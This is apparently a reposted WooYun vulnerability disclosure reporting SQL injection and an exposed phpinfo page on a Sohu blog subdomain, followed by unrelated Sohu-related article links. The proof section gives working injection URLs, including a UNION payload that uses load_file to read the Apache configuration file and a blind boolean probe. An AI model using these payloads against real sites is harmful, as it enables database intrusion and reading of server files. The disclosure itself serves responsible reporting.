搜狐某频道sql多处注入，还有phpinfo()

2024-05-13 13:41:09

漏洞详情

披露状态：

2010-07-27：细节已通知厂商并且等待厂商处理中
1970-01-01：厂商已经确认，细节仅向厂商公开
1970-01-11：细节向核心白帽子及相关领域专家公开
1970-01-21：细节向普通白帽子公开
1970-01-31：细节向实习白帽子公开
2010-08-26：细节向公众公开

简要描述：

多处存在sql注入，可union，load_file，且有个文件直接phpinfo()，貌似这版块是正在撤掉的？

详细说明：

存在于搜狐文集：http://blog.club.sohu.com/

漏洞证明：

phpinfo:
http://blog.club.sohu.com/info.php
sql注入：
http://blog.club.sohu.com/fenlei_detail.php?fatherid=280%20and%201=0%20union%20select%201,2,load_file%28char%2847,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102%29%29,4,5,6,7,8,9/*
http://blog.club.sohu.com/wenji_list_diary.php?kindid=100/%28CaSE%20WhEN%20char_length%28database%28%29%29=4%20THEN%201%20ELse%200%20End%29&db=blog001P2
http://blog.club.sohu.com/list_diary.php?kindid=765&db=blog002P4&artnum=276

修复方案：

过滤，intval，删除敏感文件

版权声明：转载请注明来源 blue@乌云

搜狐某频道sql多处注入，还有phpinfo()相关推荐

sohu_news搜狐新闻类型分类
sohu_news搜狐新闻类型分类数据获取数据是从搜狐新闻开放的新闻xml数据,经过一系列的处理之后,生成的一个excel文件该xml文件的处理有单独的处理过程,就是用pandas处理,该过程在 ...
搜狐号第三届创作者大会落幕：胡锡进管清友谭飞雷建平论道
来源:搜狐号 4月13日,「用心叙述生活」搜狐号第三届创作者大会成功在京举办.大会邀请了胡锡进.谭飞.管清友.雷建平.吕白等多位优质内容创作者.嘉宾们以个人演讲.圆桌论坛等多种方式在大会上分享他们对行 ...
对搜狐网易和TOM三大门户网站的SQL注入漏洞检测
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...
【iOS_GitHub】新闻频道栏（网易新闻，新浪新闻，搜狐新闻，今日头条，聚划算，腾讯视频，优酷等类的频道栏），支持小红点标识懒加载缓存排序增删等
NewsChannel(新闻频道栏) Ready 新闻频道栏(网易新闻,新浪新闻,搜狐新闻,今日头条,聚划算,腾讯视频,优酷等类似的频道栏) 支持小红点标识 && 懒加载 && ...
“搜狐新闻马拉松”热身张朝阳带着一大波明星提前跑起来了
提起中国互联网圈的不油腻中年男,搜狐董事局主席兼CEO张朝阳绝对能拿下一席.今日,又有网友晒出张朝阳在奥森跑步的照片,从曝光的照片来看,和张朝阳一起跑步的既有张宁江.田家达这样的运动健将,也有杨昊铭. ...
基于搜狐云景的java语言开发技巧
基于搜狐云景的java语言开发技巧坊间盛传国内最牛X的paas公测了,上网搜了下,是搜狐云景,我试用了下,以下是我对搜狐云景的初体验,和辛苦耕耘的码农分享.在云景上开发java项目,和你现在的工作没 ...
阿里、百度、搜狐等公司社招面试记录与总结（转）
这个跳槽季大概面试了近十家公司,也拿到了几个Offer,现在面试告一段落,简单总结下面经, 我现在主要的方向是Java服务端开发,把遇到的问题和大家分享一下,也谈谈关于技术人员如何有方向的提高自己,做 ...
2018搜狐畅游笔试总结
前两天笔试了搜狐畅游的BI工程师,由于是个做游戏的,虽然玩游戏不少,但是对于游戏的一些知识概念还是不知道. 笔试一共分为5个类型. 一.十个选择题,是基础题,就是这里问了关于游戏的概念,比如RPG,A ...
搜狐三季度财报发布！张朝阳的三驾马车已经形成了？
又到财报季,紧跟着百度,搜狐发布第三季度财报,财报显示三季度搜狐总收入为5.16亿美元,同比增长26%,环比增长12%,其营收主要有三驾马车构成: 品牌广告收入为7,500万美元,较2016年同期下降 ...

最新文章

热门文章